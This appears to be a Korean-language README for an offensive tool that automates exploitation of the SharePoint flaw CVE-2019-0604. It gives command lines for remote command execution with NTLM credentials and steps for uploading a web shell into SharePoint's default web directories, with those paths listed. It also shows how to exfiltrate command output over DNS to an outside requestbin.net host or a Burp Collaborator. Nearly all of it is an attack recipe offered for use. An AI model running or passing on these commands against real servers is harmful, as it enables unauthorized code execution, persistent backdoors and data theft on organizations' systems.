gh0st0ne/weaponized-0604SharePoint CVE-2019-0604를 악용하는 자동화 도구
CVE-2019-0604를 최대화하는 자동화된 익스플로잇 도구.
requirements.txt 파일에는 이 도구가 사용하는 모든 Python 라이브러리가 나열되어 있어야 하며, 다음 명령어로 설치됩니다.
$ pip install -r requirements.txt
$ python exploit.py -u <url-to-picker.aspx> -c whoami --ntlm -U <uname>:<passwd>
멋진 것(웹쉘, 정찰 도구 등)을 업로드하세요
Upload cmd.aspx to rcmd.aspx
--file-from /path/to/cmd.aspx --file-to /path/to/web_dir/rcmd.aspx
Sharepoint Default Web Virtual Dir:
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_app_bin\ -> <target>/_app_bin/
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_vti_pvt\ -> <target>/_vti_pvt/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\layouts\ -> <target>/_layouts/15/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\controltemplates\ -> <target>/_controltemplates/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\login\ -> <target>/_login/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\windows\ -> <target>/_windows/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\wpresources\ -> <target>/_wpresources/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\isapi\ -> <target>/_vti_bin/
collaborator_http_api.py를 BurpSuite(Pro)에 설치하시겠습니까?
이 익스플로잇과 동일한 머신에서 BurpSuite가 실행 중인지 확인하세요.
실행, 출력 결과를 즐기세요 :)
$ python exploit.py -u <url-to-picker.aspx> -c whoami --collab --ntlm -U <uname>:<passwd>
$ python exploit.py -u <url-to-picker.aspx> -r <path/to/reqFile> --oob 8486990041a11aaa43ce.d.requestbin.net -c "whoami /priv"
DNS에서 데이터 가져오기
2050524956494c4547455320494e464f524d4154494f4e
...
직접 디코딩하세요 :)
PRIVILEGES INFORMATION
...